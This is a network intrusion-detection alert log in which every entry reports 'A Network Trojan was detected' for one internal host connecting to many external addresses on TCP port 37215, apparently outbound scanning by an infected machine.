2024-12-03T23:02:18.316093+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49320	41.54.199.196	37215	TCP
2024-12-03T23:02:18.316106+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48012	156.33.52.217	37215	TCP
2024-12-03T23:02:18.386708+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54240	41.92.111.44	37215	TCP
2024-12-03T23:02:18.386961+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45350	156.131.234.245	37215	TCP
2024-12-03T23:02:18.946946+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36032	156.131.78.126	37215	TCP
2024-12-03T23:02:18.947076+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53578	197.221.56.147	37215	TCP
2024-12-03T23:02:18.956234+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60600	197.192.25.36	37215	TCP
2024-12-03T23:02:19.243795+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47154	41.141.61.3	37215	TCP
2024-12-03T23:02:19.243940+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36858	197.99.153.20	37215	TCP
2024-12-03T23:02:19.300052+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47124	197.67.155.19	37215	TCP
2024-12-03T23:02:19.384539+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40346	197.159.140.182	37215	TCP
2024-12-03T23:02:19.393514+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42888	156.199.133.10	37215	TCP
2024-12-03T23:02:19.400154+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33484	41.224.91.196	37215	TCP
2024-12-03T23:02:19.425289+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48018	41.121.183.143	37215	TCP
2024-12-03T23:02:19.456303+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54492	197.240.9.178	37215	TCP
2024-12-03T23:02:19.456444+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51474	197.156.215.79	37215	TCP
2024-12-03T23:02:20.069121+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36870	156.195.152.128	37215	TCP
2024-12-03T23:02:20.384523+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59988	41.43.234.19	37215	TCP
2024-12-03T23:02:20.400052+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50382	41.62.51.45	37215	TCP
2024-12-03T23:02:20.431270+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44558	197.22.131.223	37215	TCP
2024-12-03T23:02:20.432278+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58404	156.231.12.154	37215	TCP
2024-12-03T23:02:20.446878+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40154	197.127.169.46	37215	TCP
2024-12-03T23:02:20.447009+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46322	156.40.232.29	37215	TCP
2024-12-03T23:02:20.456122+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46650	156.5.80.225	37215	TCP
2024-12-03T23:02:20.456205+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43598	197.210.72.1	37215	TCP
2024-12-03T23:02:20.469923+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38462	41.173.232.151	37215	TCP
2024-12-03T23:02:20.525129+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39800	41.62.95.14	37215	TCP
2024-12-03T23:02:20.525282+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38652	156.105.25.60	37215	TCP
2024-12-03T23:02:20.572398+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49702	41.140.250.130	37215	TCP
2024-12-03T23:02:20.581428+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52530	197.116.252.57	37215	TCP
2024-12-03T23:02:20.597121+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54740	41.89.102.223	37215	TCP
2024-12-03T23:02:20.597262+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37208	197.57.148.161	37215	TCP
2024-12-03T23:02:21.697494+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43764	41.140.12.153	37215	TCP
2024-12-03T23:02:21.697507+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39688	197.93.17.171	37215	TCP
2024-12-03T23:02:21.737720+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48160	197.95.181.147	37215	TCP
2024-12-03T23:02:21.737965+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54318	156.16.141.164	37215	TCP
2024-12-03T23:02:21.784393+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59872	41.224.43.94	37215	TCP
2024-12-03T23:02:21.784774+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57642	41.194.8.24	37215	TCP
2024-12-03T23:02:22.784784+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34968	197.237.200.90	37215	TCP
2024-12-03T23:02:23.556785+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57156	156.4.226.109	37215	TCP
2024-12-03T23:02:23.571968+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57126	41.34.110.98	37215	TCP
2024-12-03T23:02:23.572097+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42890	41.93.86.186	37215	TCP
2024-12-03T23:02:23.581298+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51574	197.77.114.80	37215	TCP
2024-12-03T23:02:23.581600+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59790	156.3.237.129	37215	TCP
2024-12-03T23:02:23.603189+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33380	41.29.70.158	37215	TCP
2024-12-03T23:02:23.603331+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50108	41.59.229.59	37215	TCP
2024-12-03T23:02:23.628541+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44028	156.36.174.242	37215	TCP
2024-12-03T23:02:23.659790+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52676	41.231.63.71	37215	TCP
2024-12-03T23:02:24.713570+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49990	197.249.234.114	37215	TCP
2024-12-03T23:02:24.754041+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56794	41.99.146.182	37215	TCP
2024-12-03T23:02:24.760291+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59106	197.50.113.39	37215	TCP
2024-12-03T23:02:24.769483+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33932	156.124.218.204	37215	TCP
2024-12-03T23:02:24.776359+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48788	41.191.132.34	37215	TCP
2024-12-03T23:02:24.785338+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52196	41.28.29.27	37215	TCP
2024-12-03T23:02:24.837680+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53834	41.68.184.21	37215	TCP
2024-12-03T23:02:24.880627+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47234	197.124.106.175	37215	TCP
2024-12-03T23:02:24.880650+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55200	41.67.6.6	37215	TCP
2024-12-03T23:02:24.885344+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52656	156.112.179.153	37215	TCP
2024-12-03T23:02:24.900523+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41052	156.13.14.220	37215	TCP
2024-12-03T23:02:24.909635+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48996	197.229.68.102	37215	TCP
2024-12-03T23:02:25.072397+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50940	197.116.245.92	37215	TCP
2024-12-03T23:02:25.103533+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39940	41.22.66.101	37215	TCP
2024-12-03T23:02:25.103541+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60632	41.216.151.177	37215	TCP
2024-12-03T23:02:25.128436+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59990	41.235.147.119	37215	TCP
2024-12-03T23:02:25.362893+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48844	41.146.239.215	37215	TCP
2024-12-03T23:02:25.378087+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51124	156.184.97.67	37215	TCP
2024-12-03T23:02:25.409650+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57582	197.253.75.14	37215	TCP
2024-12-03T23:02:25.869872+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50348	156.123.247.88	37215	TCP
2024-12-03T23:02:25.870049+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33736	156.172.76.226	37215	TCP
2024-12-03T23:02:25.900490+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43848	156.178.39.71	37215	TCP
2024-12-03T23:02:25.909514+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41294	156.49.222.91	37215	TCP
2024-12-03T23:02:25.909617+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53348	197.156.108.167	37215	TCP
2024-12-03T23:02:25.909815+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56998	41.138.109.137	37215	TCP
2024-12-03T23:02:25.956810+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44704	197.104.106.51	37215	TCP
2024-12-03T23:02:27.119123+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33576	41.180.145.153	37215	TCP
2024-12-03T23:02:27.119124+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36220	197.86.92.138	37215	TCP
2024-12-03T23:02:27.119139+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37932	41.135.99.58	37215	TCP
2024-12-03T23:02:27.337972+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38904	41.101.35.62	37215	TCP
2024-12-03T23:02:27.369454+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44964	197.240.40.190	37215	TCP
2024-12-03T23:02:27.395369+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50132	156.173.226.153	37215	TCP
2024-12-03T23:02:27.409967+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36900	197.49.205.29	37215	TCP
2024-12-03T23:02:28.159608+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33066	156.96.10.197	37215	TCP
2024-12-03T23:02:28.175287+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40660	41.149.247.177	37215	TCP
2024-12-03T23:02:28.197506+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43416	197.150.11.102	37215	TCP
2024-12-03T23:02:28.222183+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37406	41.89.83.219	37215	TCP
2024-12-03T23:02:28.237809+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41204	156.48.165.29	37215	TCP
2024-12-03T23:02:28.244351+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60496	41.114.115.82	37215	TCP
2024-12-03T23:02:29.417055+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55072	41.25.101.196	37215	TCP
2024-12-03T23:02:29.463788+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34792	41.246.226.226	37215	TCP
2024-12-03T23:02:29.463792+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45180	156.168.222.55	37215	TCP
2024-12-03T23:02:29.488742+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56114	41.126.42.85	37215	TCP
2024-12-03T23:02:29.504120+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39500	41.55.74.26	37215	TCP
2024-12-03T23:02:29.504141+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46838	156.9.148.30	37215	TCP
2024-12-03T23:02:30.300779+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41526	41.255.131.67	37215	TCP
2024-12-03T23:02:30.322397+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35572	156.221.148.130	37215	TCP
2024-12-03T23:02:30.331415+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59508	197.42.73.254	37215	TCP
2024-12-03T23:02:30.331556+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42354	197.160.205.254	37215	TCP
2024-12-03T23:02:30.394274+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56324	41.48.66.195	37215	TCP
2024-12-03T23:02:30.447422+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42830	41.243.14.57	37215	TCP
2024-12-03T23:02:30.603370+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48128	197.222.172.41	37215	TCP
2024-12-03T23:02:30.603459+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60622	41.52.74.241	37215	TCP
2024-12-03T23:02:30.603677+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56988	41.139.107.157	37215	TCP
2024-12-03T23:02:30.651609+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45232	156.65.82.238	37215	TCP
2024-12-03T23:02:30.660952+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55928	156.183.97.77	37215	TCP
2024-12-03T23:02:30.661030+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39488	41.226.102.116	37215	TCP
2024-12-03T23:02:30.741957+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56526	41.175.109.197	37215	TCP
2024-12-03T23:02:31.363530+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53216	41.209.62.254	37215	TCP
2024-12-03T23:02:32.347346+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54046	156.187.167.96	37215	TCP
2024-12-03T23:02:33.448079+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47308	41.172.169.199	37215	TCP
2024-12-03T23:02:33.573363+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40024	156.64.117.250	37215	TCP
2024-12-03T23:02:33.619549+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50898	197.75.48.207	37215	TCP
2024-12-03T23:02:33.628313+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34272	197.195.135.163	37215	TCP
2024-12-03T23:02:33.628420+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33738	197.193.244.228	37215	TCP
2024-12-03T23:02:33.628525+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57056	197.74.174.169	37215	TCP
2024-12-03T23:02:33.659588+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53658	41.178.156.22	37215	TCP
2024-12-03T23:02:33.659764+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49344	156.89.113.19	37215	TCP
2024-12-03T23:02:34.447299+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60666	197.210.191.97	37215	TCP
2024-12-03T23:02:34.447395+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33272	156.115.140.153	37215	TCP
2024-12-03T23:02:34.447522+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57180	197.55.185.93	37215	TCP
2024-12-03T23:02:34.463046+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57362	41.0.42.95	37215	TCP
2024-12-03T23:02:34.463248+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49334	197.97.70.146	37215	TCP
2024-12-03T23:02:34.478839+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50226	197.142.11.191	37215	TCP
2024-12-03T23:02:34.478990+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37306	156.151.41.84	37215	TCP
2024-12-03T23:02:34.479127+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47028	41.57.81.157	37215	TCP
2024-12-03T23:02:34.487677+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37686	41.43.114.69	37215	TCP
2024-12-03T23:02:34.487911+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42138	156.116.94.234	37215	TCP
2024-12-03T23:02:34.494228+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38580	156.66.171.222	37215	TCP
2024-12-03T23:02:34.494327+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55624	156.155.216.224	37215	TCP
2024-12-03T23:02:34.494471+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36530	197.217.127.115	37215	TCP
2024-12-03T23:02:34.494750+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57502	197.63.7.168	37215	TCP
2024-12-03T23:02:34.494751+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39026	41.237.9.159	37215	TCP
2024-12-03T23:02:34.494797+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36198	156.249.107.42	37215	TCP
2024-12-03T23:02:34.503413+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56278	197.44.112.223	37215	TCP
2024-12-03T23:02:34.503612+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51536	156.182.13.62	37215	TCP
2024-12-03T23:02:34.503754+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38658	41.70.88.14	37215	TCP
2024-12-03T23:02:34.503843+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57202	197.110.123.8	37215	TCP
2024-12-03T23:02:34.503999+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43732	41.120.63.205	37215	TCP
2024-12-03T23:02:34.504197+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36828	41.67.56.63	37215	TCP
2024-12-03T23:02:34.510043+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51106	197.161.143.243	37215	TCP
2024-12-03T23:02:34.519123+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42982	197.248.78.31	37215	TCP
2024-12-03T23:02:34.519226+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37328	197.13.235.170	37215	TCP
2024-12-03T23:02:34.525527+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60916	156.68.236.162	37215	TCP
2024-12-03T23:02:34.534697+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43146	197.120.181.214	37215	TCP
2024-12-03T23:02:34.535047+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38872	41.47.14.148	37215	TCP
2024-12-03T23:02:34.535185+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37086	197.224.161.253	37215	TCP
2024-12-03T23:02:34.535433+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54314	156.19.29.129	37215	TCP
2024-12-03T23:02:34.535575+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44254	41.75.81.250	37215	TCP
2024-12-03T23:02:34.535674+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52170	156.71.181.125	37215	TCP
2024-12-03T23:02:34.535785+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48000	197.87.149.42	37215	TCP
2024-12-03T23:02:34.535892+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49436	156.254.180.0	37215	TCP
2024-12-03T23:02:34.536135+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58186	197.15.7.13	37215	TCP
2024-12-03T23:02:34.536184+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43886	156.166.236.148	37215	TCP
2024-12-03T23:02:34.550376+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49110	41.196.141.166	37215	TCP
2024-12-03T23:02:34.566024+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41446	156.43.34.30	37215	TCP
2024-12-03T23:02:34.566142+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59208	41.220.151.118	37215	TCP
2024-12-03T23:02:34.566253+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56174	197.146.15.229	37215	TCP
2024-12-03T23:02:34.650697+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34826	197.166.47.220	37215	TCP
2024-12-03T23:02:34.659889+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55434	41.23.147.224	37215	TCP
2024-12-03T23:02:34.660119+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44836	156.207.3.94	37215	TCP
2024-12-03T23:02:34.775473+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58714	197.17.9.69	37215	TCP
2024-12-03T23:02:35.244062+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46756	156.236.59.24	37215	TCP
2024-12-03T23:02:35.525608+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54128	156.155.14.149	37215	TCP
2024-12-03T23:02:35.541389+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49326	156.80.60.84	37215	TCP
2024-12-03T23:02:35.550313+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38016	41.244.120.0	37215	TCP
2024-12-03T23:02:35.566008+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57968	41.170.240.37	37215	TCP
2024-12-03T23:02:35.581737+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40238	156.51.222.101	37215	TCP
2024-12-03T23:02:36.447438+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59372	41.127.234.26	37215	TCP
2024-12-03T23:02:36.463223+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52862	156.240.60.221	37215	TCP
2024-12-03T23:02:36.463282+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48390	41.182.226.175	37215	TCP
2024-12-03T23:02:36.463541+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51504	197.83.91.22	37215	TCP
2024-12-03T23:02:36.463541+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50060	197.171.35.80	37215	TCP
2024-12-03T23:02:36.494832+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44090	156.45.68.47	37215	TCP
2024-12-03T23:02:36.494911+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56304	156.214.11.174	37215	TCP
2024-12-03T23:02:36.495174+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50214	156.51.153.75	37215	TCP
2024-12-03T23:02:36.495190+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53016	197.129.182.133	37215	TCP
2024-12-03T23:02:36.495254+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59938	156.25.9.250	37215	TCP
2024-12-03T23:02:36.495348+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35052	41.78.87.113	37215	TCP
2024-12-03T23:02:36.495758+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55924	156.126.202.190	37215	TCP
2024-12-03T23:02:36.495902+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34562	41.220.68.207	37215	TCP
2024-12-03T23:02:36.495986+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45440	197.22.48.49	37215	TCP
2024-12-03T23:02:36.496117+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43886	197.239.201.1	37215	TCP
2024-12-03T23:02:36.496194+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46956	197.164.134.85	37215	TCP
2024-12-03T23:02:36.496350+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33546	41.221.126.139	37215	TCP
2024-12-03T23:02:36.496422+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60694	197.64.41.170	37215	TCP
2024-12-03T23:02:36.496521+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42566	156.25.84.124	37215	TCP
2024-12-03T23:02:36.496603+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39072	197.80.134.104	37215	TCP
2024-12-03T23:02:36.496695+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39294	41.112.124.152	37215	TCP
2024-12-03T23:02:36.503532+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42722	41.176.68.177	37215	TCP
2024-12-03T23:02:36.503659+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36940	197.201.223.65	37215	TCP
2024-12-03T23:02:36.503806+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37062	41.89.154.180	37215	TCP
2024-12-03T23:02:36.504008+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48416	41.122.68.149	37215	TCP
2024-12-03T23:02:36.504136+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48210	197.198.75.217	37215	TCP
2024-12-03T23:02:36.504318+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50596	41.72.27.129	37215	TCP
2024-12-03T23:02:36.504469+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39100	41.151.84.5	37215	TCP
2024-12-03T23:02:36.504583+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36984	197.68.238.5	37215	TCP
2024-12-03T23:02:36.504690+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43282	156.217.246.14	37215	TCP
2024-12-03T23:02:36.519169+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52496	156.5.172.37	37215	TCP
2024-12-03T23:02:36.536048+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41884	41.122.171.180	37215	TCP
2024-12-03T23:02:36.536481+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34210	197.1.51.161	37215	TCP
2024-12-03T23:02:36.536700+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51052	41.155.78.94	37215	TCP
2024-12-03T23:02:36.536878+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42688	197.112.69.116	37215	TCP
2024-12-03T23:02:36.537067+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41888	156.29.132.248	37215	TCP
2024-12-03T23:02:36.537201+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39772	156.2.126.90	37215	TCP
2024-12-03T23:02:36.537311+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50972	197.31.132.172	37215	TCP
2024-12-03T23:02:36.537408+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56110	41.53.91.215	37215	TCP
2024-12-03T23:02:36.785005+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48600	156.210.120.122	37215	TCP
2024-12-03T23:02:37.604065+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56538	197.182.227.100	37215	TCP
2024-12-03T23:02:37.604096+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44878	197.93.227.214	37215	TCP
2024-12-03T23:02:37.619521+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45916	197.58.215.208	37215	TCP
2024-12-03T23:02:37.635153+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46498	197.209.232.150	37215	TCP
2024-12-03T23:02:37.650940+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50436	197.75.53.141	37215	TCP
2024-12-03T23:02:37.659817+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35234	41.48.165.90	37215	TCP
2024-12-03T23:02:37.659973+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53682	41.16.57.221	37215	TCP
2024-12-03T23:02:37.660226+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59490	41.86.108.11	37215	TCP
2024-12-03T23:02:37.691491+0100	2835222	1	A Network Trojan was detected	192.168.2.23	32916	156.111.178.178	37215	TCP
2024-12-03T23:02:37.691556+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36666	197.28.127.101	37215	TCP
2024-12-03T23:02:37.691569+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59976	197.195.182.119	37215	TCP
2024-12-03T23:02:38.900884+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47016	197.224.170.150	37215	TCP
2024-12-03T23:02:38.909842+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35442	197.213.20.94	37215	TCP
2024-12-03T23:02:38.957027+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51450	41.254.32.1	37215	TCP
2024-12-03T23:02:39.650543+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48110	156.179.192.65	37215	TCP
2024-12-03T23:02:39.650726+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52590	156.205.225.43	37215	TCP
2024-12-03T23:02:39.650891+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44786	41.50.79.15	37215	TCP
2024-12-03T23:02:39.650964+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59324	156.88.157.157	37215	TCP
2024-12-03T23:02:39.651055+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51132	41.219.54.32	37215	TCP
2024-12-03T23:02:39.651180+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60546	197.213.196.91	37215	TCP
2024-12-03T23:02:39.651302+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57876	41.161.165.4	37215	TCP
2024-12-03T23:02:39.651503+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58998	197.248.213.216	37215	TCP
2024-12-03T23:02:39.651723+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51886	156.68.81.5	37215	TCP
2024-12-03T23:02:39.651899+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46568	41.113.142.120	37215	TCP
2024-12-03T23:02:39.652092+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57818	41.49.128.186	37215	TCP
2024-12-03T23:02:39.652234+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43204	41.91.76.17	37215	TCP
2024-12-03T23:02:39.660031+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50808	41.44.118.166	37215	TCP
2024-12-03T23:02:39.660246+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38792	156.101.76.242	37215	TCP
2024-12-03T23:02:39.660372+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53126	156.74.238.132	37215	TCP
2024-12-03T23:02:39.666261+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41124	156.30.229.144	37215	TCP
2024-12-03T23:02:39.666380+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36076	41.64.56.91	37215	TCP
2024-12-03T23:02:39.666550+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52098	156.180.77.83	37215	TCP
2024-12-03T23:02:39.666785+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59840	156.70.150.199	37215	TCP
2024-12-03T23:02:39.666935+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54606	41.149.22.78	37215	TCP
2024-12-03T23:02:39.667079+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45408	197.27.136.129	37215	TCP
